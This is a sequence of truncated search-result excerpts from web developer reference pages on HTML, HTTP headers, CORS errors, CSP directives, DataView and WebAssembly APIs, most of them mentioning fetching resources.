the width of the framebuffer, in pixels. you can get the height of the framebuffer using the framebufferheight property. syntax let bufferwidth = xrwebgllayer.framebufferwidth; value the width in pixels of the xr device's framebuffer. each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all this many pixels wide. examples this snippet simply fetches the framebuffer's width and height for later use. let gllayer = xrsession.renderstate.baselayer; gl.bindframebuffer(gl.framebuffer, gllayer.framebuffer); framewidth = gllayer.framebufferwidth; frameheight = gllayer.framebufferheight; specifications specification status comment webxr device apithe definition of 'xrwebgllayer.framebufferwidth' in that specification. ...
-moz-image-rect - CSS: Cascading Style Sheets
notice that before it begins doing so it saves a copy of the last box's style since it will be overwritten by the third element's style. by simply copying the values of the background-image property from one element to the next with each mouse click, we achieve the desired effect. what it looks like specifications not part of a...
Coordinate systems - CSS: Cascading Style Sheets
on. let inner = document.queryselector(".inner"); let log = document.queryselector(".log"); function setcoords(e, type) { let idx = type + "x"; let idy = type + "y"; document.getelementbyid(idx).innertext = e[idx]; document.getelementbyid(idy).innertext = e[idy]; } a reference to the <div> inside the inner box which contains the paragraphs that will show the coordinate information is fetched into log. the setcoords() function is designed to accept as input a mouseevent and the name of the origin to use when obtaining the coordinates. the implementation is then quite simple. the variables idx and idy are set to strings with the names of the properties corresponding to the coordinates in the given coordinate system. for example, if the value of type is "page", then idx is "pagex" an...
shape-outside - CSS: Cascading Style Sheets
), or as added in the level 2 specification path(). if a <shape-box> is also supplied, it defines the reference box for the <basic-shape> function. otherwise, the reference box defaults to margin-box. <image> the float area is extracted and computed based on the alpha channel of the specified <image> as defined by shape-image-threshold. note: user agents must use the potentially cors-enabled fetch method defined by the html5 specification for all urls in a shape-outside value. when fetching, user agents must use "anonymous" mode, set the referrer source to the stylesheet's url, and set the origin to the url of the containing document. if this results in network errors such that there is no valid fallback image, the effect is as if the value none had been specified. interpolation when ...
exsl:node-set() - EXSLT
Web › EXSLT › exsl › node-set
this lets you process the xml created within a variable to process it in multiple steps. ...
Common (exsl) - EXSLT
Web › EXSLT › exsl
ference: xslt elements, exslt functions, xpath functions, xpath axes the exslt common package provides basic functions that expand upon the capabilities of xslt. the namespace for the common package is http://exslt.org/common. exsl:node-set()exsl:node-set() returns a node-set from a result tree fragment, which is what you get when you look at the xsl:variable instead of its select attribute to fetch a variable's value. this lets you process the xml created within a variable to process it in multiple steps.exsl:object-type()exsl:object-type() returns a string that indicates the type of the specified object. ...
Ajax - Developer guides
Web › Guide › AJAX
hands-on examples to get you started. using the xmlhttprequest api the xmlhttprequest api is the core of ajax. this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources. it will seem familiar to anyone who has used xmlhttprequest, but this api provides a more powerful and flexible feature set. server-sent events traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. with server-sent events, it's possible for a server to s...
Guide to Web APIs - Developer guides
Web › Guide › API
node.js, on a server. on this page you'll find a complete list of all of the apis provided by the full web technology stack. ...
Cross-browser audio basics - Developer guides
play all the way through }); media loading event order to recap, the order of the media loading events are: loadstart > durationchange > loadedmetadata > loadeddata > progress > canplay > canplaythrough loading interruption events we also have a few events available that will fire when there is some kind of interruption to the media loading process. suspend media data is no longer being fetched even though the file has not been entirely downloaded. abort media data download has been aborted but not due to an error. error an error is encountered while media data is being download. emptied the media buffer has been emptied, possibly due to an error or because the load() method was invoked to reload it. stalled media data is unexpectedly no longer available. media playing event...
Setting up adaptive streaming media sources - Developer guides
nd profile for video on demand (vod) and the live profile. for live services streaming, the live profile is a requirement. the stream switching capabilities are identical between the profiles. ...
Overview of events and handlers - Developer guides
rom preparing a web page for display, from interacting with the content of the web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. events and event handling become central to web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering. initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. the displayed page remains unchanged until the browser requests a new page. with the change to dynamic page rendering, browsers loop continuously between processing, drawing, pres...
HTML5 - Developer guides
Web › Guide › HTML › HTML5
ing an api that closely conforms to opengl es 2.0 that can be used in html5 <canvas> elements. svg an xml-based format of vectorial images that can directly be embedded in the html. performance and integration web workers allows delegation of javascript evaluation to background threads, allowing these activities to prevent slowing down interactive events. xmlhttprequest level 2 allows fetching asynchronously some parts of the page, allowing it to display dynamic content, varying according to the time and user actions. this is the technology behind ajax. jit-compiling javascript engines the new generation of javascript engines is much more powerful, leading to greater performance. history api allows the manipulation of the browser history. this is especially useful for pages load...
<area> - HTML: Hypertext Markup Language
Web › HTML › Element › area
he language of the linked resource. allowed values are determined by bcp47. use this attribute only if the href attribute is present. ping contains a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. referrerpolicy a string indicating which referrer to use when fetching the resource: "no-referrer" meaning that the referer: header will not be sent. "no-referrer-when-downgrade" meaning that no referer: header will be sent when navigating to an origin without tls (https). this is a user agent’s default behavior, if no policy is otherwise specified. "origin" meaning that the referrer will be the origin of the page, that is roughly the scheme, the host a...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
Web › HTML › Element › iframe
l it reaches a calculated distance from the viewport, as defined by the browser. name a targetable name for the embedded browsing context. this can be used in the target attribute of the <a>, <form>, or <base> elements; the formtarget attribute of the <input> or <button> elements; or the windowname parameter in the window.open() method. referrerpolicy indicates which referrer to send when fetching the frame's resource: no-referrer: the referer header will not be sent. no-referrer-when-downgrade (default): the referer header will not be sent to origins without tls (https). origin: the sent referrer will be limited to the origin of the referring page: its scheme, host, and port. origin-when-cross-origin: the referrer sent to other origins will be limited to the scheme, the host,...
Link types: modulepreload - HTML: Hypertext Markup Language
the modulepreload keyword for the rel attribute of the <link> element provides a declarative way to preemptively fetch a module script and its dependencies, and store them in the document's module map for later evaluation. specifications specification status comment html living standardthe definition of 'modulepreload' in that specification. living standard ...
Link types: preload - HTML: Hypertext Markup Language
the preload keyword for the rel attribute of the <link> element indicates the user is highly likely to require the target resource for the current navigation, and therefore the browser must preemptively fetch and cache the resource. see preloading content with rel="preload" for more details. specifications specification status comment html living standardthe definition of 'preload' in that specification. living standard ...
HTML: Hypertext Markup Language
Web › HTML
opriate cors header, allows images defined by the <img> element to be loaded from foreign origins and used in a <canvas> element as if they were being loaded from the current origin. cors settings attributes some html elements that provide support for cors, such as <img> or <video>, have a crossorigin attribute (crossorigin property), which lets you configure the cors requests for the element's fetched data. preloading content with rel="preload" the preload value of the <link> element's rel attribute allows you to write declarative fetch requests in your html <head>, specifying resources that your pages will need very soon after loading, which you therefore want to start preloading early in the lifecycle of a page load, before the browser's main rendering machinery kicks in. this ensures th...
Evolution of HTTP - HTTP
iles has been added (thanks to the content-type header). ...
MIME types (IANA media types) - HTTP
message into smaller ones automatically to be reassembled by the recipient. multipart list at iana data that is comprised of multiple components which may individually have different mime types. examples include multipart/form-data (for data produced using the formdata api) and multipart/byteranges (defined in rfc 7233: 5.4.1 and used with http's 206 "partial content" response returned when the fetched data is only part of the content, such as is delivered using the range header). important mime types for web developers application/octet-stream this is the default for binary files. as it means unknown binary file, browsers usually don't execute it, or even ask if it should be executed. they treat it as if the content-disposition header was set to attachment, and propose a "save as" dialog...
Reason: CORS request external redirect not allowed - HTTP
reason reason: cors request external redirect not allowed what went wrong? the cors request was responded to by the server with an http redirect to a url on a different origin than the original request, which is not permitted during cors requests. for example, if the page https://service.tld/fetchdata were requested, and the http response is "301 moved permanently", "307 temporary redirect", or "308 permanent redirect" with a location of https://anotherservice.net/getdata, the cors request will fail in this manner. to fix the problem, update your code to use the new url as reported by the redirect, thereby avoiding the redirect. ...
Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’ - HTTP
trol-allow-credentials header's value isn't set to true to enable their use. to fix this problem on the client side, revise the code to not request the use of credentials. if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true. if using server-sent events, make sure eventsource.withcredentials is false (it's the default value). if using the fetch api, make sure request.credentials is "omit". to eliminate this error by changing the server's configuration, adjust the server's configuration to set the access-control-allow-credentials header's value to true. ...
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
doesn't allow the use of credentials. to correct this problem on the client side, simply ensure that the credentials flag's value is false when issuing your cors request. if the request is being issued using xmlhttprequest, make sure you're not setting withcredentials to true. if using server-sent events, make sure eventsource.withcredentials is false (it's the default value). if using the fetch api, make sure request.credentials is "omit". if, instead, you need to adjust the server's behavior, you'll need to change the value of access-control-allow-origin to grant access to the origin from which the client is loaded. ...
Reason: CORS request not HTTP - HTTP
reason reason: cors request not http what went wrong? cors requests may only use the https url scheme, but the url specified by the request is of a different type. this often occurs if the url specifies a local file, using a file:/// url. to fix this problem, simply make sure you use https urls when issuing requests involving cors, such as xmlhttprequest, fetch apis, web fonts (@font-face), and webgl textures, and xsl stylesheets. local file security in firefox 68 when a user opened a page using a file:/// uri in firefox 67 and earlier, the origin of the page was defined as the directory from which the page was opened. resources in the same directory and its subdirectories were treated as having the same origin for purposes of the cors same-origin rule. in response to cve-2019-11730, fi...
Accept - HTTP
Web › HTTP › Headers › Accept
the accept request http header advertises which content types, expressed as mime types, the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header. browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script. header type request header forbidden header name no cors-safelisted request header yes, with the additional restriction that values can't contain a cors-unsafe request header byte: 0x00-0x1f (except 0x09 (ht)), "():<>?@[\]{}, and 0x7f (del). syntax accept: <mime_...
Access-Control-Allow-Headers - HTTP
living standard initial definition. ...
Access-Control-Allow-Methods - HTTP
living standard initial definition ...
Access-Control-Allow-Origin - HTTP
living standard initial definition. ...
Access-Control-Expose-Headers - HTTP
living standard ...
Access-Control-Max-Age - HTTP
t 10 minutes (600 seconds). chromium (starting in v76) caps at 2 hours (7200 seconds). chromium also specifies a default value of 5 seconds. a value of -1 will disable caching, requiring a preflight options check for all calls. examples cache results of a preflight request for 10 minutes: access-control-max-age: 600 specifications specification status comment fetchthe definition of 'access-control-max-age' in that specification. living standard initial definition. ...
Access-Control-Request-Headers - HTTP
living standard initial definition. ...
Access-Control-Request-Method - HTTP
and doesn't use the same method as the actual request. header type request header forbidden header name yes syntax access-control-request-method: <method> directives <method> one of the http request methods, for example get, post, or delete. examples access-control-request-method: post specifications specification status comment fetchthe definition of 'access-control-request-method' in that specification. living standard initial definition. ...
Age - HTTP
Web › HTTP › Headers › Age
header type response header forbidden header name no syntax age: <delta-seconds> directives <delta-seconds> a non-negative integer, representing time in seconds the object has been in a proxy cache. ...
CSP: child-src - HTTP
if this directive is absent, the user agent will look for the default-src directive. ...
CSP: font-src - HTTP
if this directive is absent, the user agent will look for the default-src directive. ...
CSP: frame-src - HTTP
the http content-security-policy (csp) frame-src directive specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>. csp version 1 directive type fetch directive fallback if this directive is absent, the user agent will look for the child-src directive (which falls back to the default-src directive). syntax one or more sources can be allowed for the frame-src policy: content-security-policy: frame-src <source>; content-security-policy: frame-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number. the site's address may include an optional leading wildcard (the asterisk characte...
CSP: img-src - HTTP
if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the img-src policy: content-security-policy: img-src <source>; content-security-policy: img-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number. ...
CSP: manifest-src - HTTP
if this directive is absent, the user agent will look for the default-src directive. ...
CSP: media-src - HTTP
if this directive is absent, the user agent will look for the default-src directive. ...
CSP: object-src - HTTP
or the <object>, <embed>, and <applet> elements. to set allowed types for <object>, <embed>, and <applet> elements, use the plugin-types directive. elements controlled by object-src are perhaps coincidentally considered legacy html elements and aren't receiving new standardized features (such as the security attributes sandbox or allow for <iframe>). therefore it is recommended to restrict this fetch-directive (e.g. explicitly set object-src 'none' if possible). csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the object-src policy: content-security-policy: object-src <source>; content-security-po...
CSP: plugin-types - HTTP
content-security-policy (csp) plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded. instantiation of an <embed>, <object> or <applet> element will fail if: the element to load does not declare a valid mime type, the declared type does not match one of specified types in the plugin-types directive, the fetched resource does not match the declared type. csp version 2 directive type document directive default-src fallback no. not setting this allows anything. syntax one or more mime types can be set for the plugin-types policy: content-security-policy: plugin-types <type>/<subtype>; content-security-policy: plugin-types <type>/<subtype> <type>/<subtype>; ...
CSP: script-src-attr - HTTP
if this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fallback to default-src directive. ...
CSP: script-src-elem - HTTP
if this directive is absent, the user agent will look for the script-src directive, and if both of them are absent, fallback to default-src directive. ...
CSP: script-src - HTTP
the http content-security-policy (csp) script-src directive specifies valid sources for javascript. this includes not only urls loaded directly into <script> elements, but also things like inline script event handlers (onclick) and xslt stylesheets which can trigger script execution. csp version 1 directive type fetch directive default-src fallback yes. if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the script-src policy: content-security-policy: script-src <source>; content-security-policy: script-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or ...
CSP: style-src-attr - HTTP
if this directive is absent, the user agent will look for the style-src directive, and if both of them are absent, fallback to default-src directive. ...
CSP: style-src-elem - HTTP
if this directive is absent, the user agent will look for the style-src directive, and if both of them are absent, fallback to default-src directive. ...
CSP: style-src - HTTP
if this directive is absent, the user agent will look for the default-src directive. syntax one or more sources can be allowed for the style-src policy: content-security-policy: style-src <source>; content-security-policy: style-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number. ...
CSP: worker-src - HTTP
chrome 59 and higher skips the child-src directive. edge 17 skips the script-src directive (bug). ...
Cross-Origin-Embedder-Policy - HTTP
bedder-policy (coep) response header prevents a document from loading any cross-origin resources that don't explicitly grant the document permission (using corp or cors). header type response header forbidden header name no syntax cross-origin-embedder-policy: unsafe-none | require-corp directives unsafe-none this is the default value. allows the document to fetch cross-origin resources without giving explicit permission through the cors protocol or the cross-origin-resource-policy header. require-corp a document can only load resources from the same origin, or resources explicitly marked as loadable from another origin. if a cross origin resource supports cors, the crossorigin attribute or the cross-origin-resource-policy header must be used to load it...
Cross-Origin-Resource-Policy - HTTP
forbidden header name no syntax cross-origin-resource-policy: same-site | same-origin | cross-origin examples the response header below will cause compatible user agents to disallow cross-origin no-cors requests: cross-origin-resource-policy: same-origin for more examples, see https://resourcepolicy.fyi/. specifications specification status comment fetch living standard initial definition ...
If-Match - HTTP
Web › HTTP › Headers › If-Match
sted comes from the same resource than the previous one. if it doesn't match, then a 416 (range not satisfiable) response is returned. for other methods, and in particular for put, if-match can be used to prevent the lost update problem. it can check if the modification of a resource that the user wants to upload will not override another change that has been done since the original resource was fetched. if the request cannot be fulfilled, the 412 (precondition failed) response is returned. header type request header forbidden header name no syntax if-match: <etag_value> if-match: <etag_value>, <etag_value>, … directives <etag_value> entity tags uniquely representing the requested resources. they are a string of ascii characters placed between double q...
Location - HTTP
Web › HTTP › Headers › Location
the location response header indicates the url to redirect a page to. it only provides a meaning when served with a 3xx (redirection) or 201 (created) status response. in cases of redirection, the http method used to make the new request to fetch the page pointed to by location depends of the original method and of the kind of redirection: if 303 (see also) responses always lead to the use of a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know). all responses with one of these status codes send a location header. in cases of resource creation, it indicates the url to the newly...
Warning - HTTP
Web › HTTP › Headers › Warning
the warning general http header contains information about possible problems with the status of the message. more than one warning header may appear in a response. warning header fields can in general be applied to any message, however some warn-codes are specific to caches and can only be applied to response messages. ...
X-Content-Type-Options - HTTP
living standard initial definition ...
Network Error Logging - HTTP
reports are sent to a reporting group defined within a report-to header. usage web applications opt in to this behaviour with the nel header, which is a json-encoded object: nel: { "report_to": "nel", "max_age": 31556952 } an origin considered secure by the browser is required. ...
HTTP resources and specifications - HTTP
ion for http/2 on the standard track rfc 7838 http alternative services on the standard track rfc 7301 transport layer security (tls) application-layer protocol negotiation extension used to negotiate http/2 at the transport to save an extra request/response round trip. proposed standard rfc 6454 the web origin concept proposed standard fetchthe definition of 'cors' in that specification. cross-origin resource sharing living standard rfc 7034 http header field x-frame-options informational rfc 6797 http strict transport security (hsts) proposed standard upgrade insecure requests upgrade insecure requests candidate recommendation content security policy 1.0 content security...
200 OK - HTTP
Web › HTTP › Status › 200
head: the entity headers are in the message body. post: the resource describing the result of the action is transmitted in the message body. trace: the message body contains the request message as received by the server. ...
HTTP response status codes - HTTP
Web › HTTP › Status
received and is processing the request, but no response is available yet. 103 early hints this status code is primarily intended to be used with the link header, letting the user agent start preloading resources while the server prepares a response. successful responses 200 ok the request has succeeded. the meaning of the success depends on the http method: get: the resource has been fetched and is transmitted in the message body. head: the entity headers are in the message body. put or post: the resource describing the result of the action is transmitted in the message body. trace: the message body contains the request message as received by the server 201 created the request has succeeded and a new resource has been created as a result. this is typically the response ...
DataView.prototype.getBigInt64() - JavaScript
of the view to read the data from. littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a bigint. errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbigint64()' in that specification. ...
DataView.prototype.getBigUint64() - JavaScript
of the view to read the data from. littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a bigint. errors thrown rangeerror thrown if the byteoffset is set such that it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbiguint64()' in that specification. ...
DataView.prototype.getFloat32() - JavaScript
read the data. littleendian optional indicates whether the 32-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 32-bit float number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat32' in that specification. ...
DataView.prototype.getFloat64() - JavaScript
read the data. littleendian optional indicates whether the 64-bit float is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 64-bit float number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat64' in that specification. ...
DataView.prototype.getInt16() - JavaScript
read the data. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 16-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint16' in that specification. ...
DataView.prototype.getInt32() - JavaScript
read the data. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value a signed 32-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint32' in that specification. ...
DataView.prototype.getInt8() - JavaScript
s and send us a pull request. syntax dataview.getint8(byteoffset) parameters byteoffset the offset, in byte, from the start of the view where to read the data. return value a signed 8-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint8' in that specification. ...
DataView.prototype.getUint16() - JavaScript
d the data. littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value an unsigned 16-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint16' in that specification. ...
DataView.prototype.getUint32() - JavaScript
d the data. littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format. if false or undefined, a big-endian value is read. return value an unsigned 32-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint32' in that specification. ...
DataView.prototype.getUint8() - JavaScript
d send us a pull request. syntax dataview.getuint8(byteoffset) parameters byteoffset the offset, in byte, from the start of the view where to read the data. return value an unsigned 8-bit integer number. errors thrown rangeerror thrown if the byteoffset is set such as it would read beyond the end of the view. description there is no alignment constraint; multi-byte values may be fetched from any offset. examples using the getuint8 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint8(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint8' in that specification. ...
Date - JavaScript
d timestamps a javascript date is fundamentally specified as the number of milliseconds that have elapsed since midnight on january 1, 1970, utc. this date and time is the same as the unix epoch, which is the predominant base value for computer-recorded date and time values. note: it's important to keep in mind that while the time value at the heart of a date object is utc, the basic methods to fetch the date and time or its components all work in the local (i.e. host system) time zone and offset. it should be noted that the maximum date is not of the same value as the maximum safe integer (number.max_safe_integer is 9,007,199,254,740,991). instead, it is defined in ecma-262 that a maximum of ±100,000,000 (one hundred million) days relative to january 1, 1970 utc (that is, april 20, 271821 ...
Promise.prototype.finally() - JavaScript
e resolved with 2. similarly, unlike promise.reject(3).then(() => {}, () => {}) (which will be fulfilled with undefined), promise.reject(3).finally(() => {}) will be rejected with 3. note: a throw (or returning a rejected promise) in the finally callback will reject the new promise with the rejection reason specified when calling throw. ...
Planned changes to shared memory - JavaScript
conditionally enabled (and only sharing between threads is gated on the new headers), the webassembly atomic instructions are also unconditionally allowed. further reading coop and coep explained. cross-origin-opener-policy: whatwg/html issue #3740, draft specification. cross-origin-embedder-policy: whatwg/html issue #4175, draft specification. cross-origin-resource-policy: standardized in fetch, new cross-origin value is part of the cross-origin-embedder-policy effort. postmessage() changes and self.crossoriginisolated: whatwg/html issue #4732, whatwg/html issue #4872, draft specification. ...
WebAssembly.Global() constructor - JavaScript
output.innerhtml += `testing ${msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success! ...
WebAssembly.Global - JavaScript
output.innerhtml += `testing ${msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success! ...
WebAssembly.Module() constructor - JavaScript
assembly.module(buffersource); parameters buffersource a typed array or arraybuffer containing the binary code of the .wasm module you want to compile. examples synchronously compiling a webassembly module var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; function createwasmmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification. browser compatibility ...
WebAssembly.Module.customSections() - JavaScript
the custom-section.html source and live example) compiles the loaded simple-name-section.wasm byte code. we then do a check using webassembly.module.customsections, looking to see whether the module instance contains a "name" custom section by checking that its length is more than 0. since there is a "name" section in the example, an arraybuffer object is returned. webassembly.compilestreaming(fetch('simple-name-section.wasm')) .then(function(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification. ...
WebAssembly.Module.exports() - JavaScript
e is not a webassembly.module object instance, a typeerror is thrown. examples using exports the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends it to a worker using postmessage(). var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using the webassembly.instantiate() method, invoke an exported function from inside it, then show how we can return informa...
WebAssembly.Module.imports() - JavaScript
urn value an array containing objects representing the imported functions of the given module. exceptions if module is not a webassembly.module object instance, a typeerror is thrown. examples using imports the following example (see imports.html source code; see it live also) compiles the loaded simple.wasm module. this module is then queried for its imports. webassembly.compilestreaming(fetch('simple.wasm')) .then(function(mod) { var imports = webassembly.module.imports(mod); console.log(imports[0]); }); the output looks like this: { module: "imports", name: "imported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'imports()' in that specification. browser compatibility the compatibility ...
WebAssembly.Module - JavaScript
declared imports. examples sending a compiled module to a worker the following example (see our index-compile.html demo on github, and view it live also) compiles the loaded simple.wasm byte code using the webassembly.compilestreaming() method and then sends the resulting module instance to a worker using postmessage(). var worker = new worker("wasm_worker.js"); webassembly.compilestreaming(fetch('simple.wasm')) .then(mod => worker.postmessage(mod) ); in the worker (see wasm_worker.js) we define an import object for the module to use, then set up an event handler to receive the module from the main thread. when the module is received, we create an instance from it using the webassembly.instantiate() method and invoke an exported function from inside it. var importobject = { imports:...
WebAssembly.Table() constructor - JavaScript
instantiatestreaming() method. the table2.wasm module contains two functions (one that returns 42 and another that returns 83) and stores both into elements 0 and 1 of the imported table (see text representation). so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call from js. webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . this example shows that we're creating and ac...
WebAssembly.Table.prototype.get() - JavaScript
exceptions if index is greater than or equal to table.prototype.length, a rangeerror is thrown. examples using get the following example (see table.html on github, and view it live also) compiles and instantiates the loaded table.wasm byte code using the webassembly.instantiatestreaming() method. it then retrieves the references stored in the exported table. webassembly.instantiatestreaming(fetch('table.wasm')) .then(function(obj) { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 }); note how you've got to include a second function invocation operator at the end of the accessor to actually retrieve the value stored inside the reference (e.g. get(0)() rather than get(0)) — it is a function rather than a simple value. specifi...
WebAssembly.Table.prototype.set() - JavaScript
get(0)() rather than get(0)) . this example shows that we're creating and ac...
WebAssembly.Table - JavaScript
instantiatestreaming() method. the table2.wasm module contains two functions (one that returns 42 and another that returns 83) and stores both into elements 0 and 1 of the imported table (see text representation). so after instantiation, the table still has length 2, but the elements now contain callable exported webassembly functions which we can call from js. webassembly.instantiatestreaming(fetch('table2.wasm'), importobject) .then(function(obj) { console.log(tbl.length); console.log(tbl.get(0)()); console.log(tbl.get(1)()); }); note how you've got to include a second function invocation operator at the end of the accessor to actually invoke the referenced function and log the value stored inside it (e.g. get(0)() rather than get(0)) . this example shows that we're creating and ac...
WebAssembly.compile() - JavaScript
presenting the compiled module. exceptions if buffersource is not a typed array, a typeerror is thrown. if compilation fails, the promise rejects with a webassembly.compileerror. examples using compile the following example compiles the loaded simple.wasm byte code using the compile() function and then sends it to a worker using postmessage(). var worker = new worker("wasm_worker.js"); fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => webassembly.compile(bytes) ).then(mod => worker.postmessage(mod) ); note: you'll probably want to use webassembly.compilestreaming() in most cases, as it is more efficient than compile(). specifications specification webassembly javascript interfacethe definition of 'compile()' in that specific...
WebAssembly.instantiateStreaming() - JavaScript
instantiating streaming the following example (see our instantiate-streaming.html demo on github, and view it live also) directly streams a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject. because the instantiatestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills. var importobject = { imports: { imported_func: arg => console.log(arg) } }; webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(obj => obj.instance.exports.exported_func()); the resultobject's instance member is then accessed, and the contained exported function invoked. note: for this to work, .
WebAssembly - JavaScript
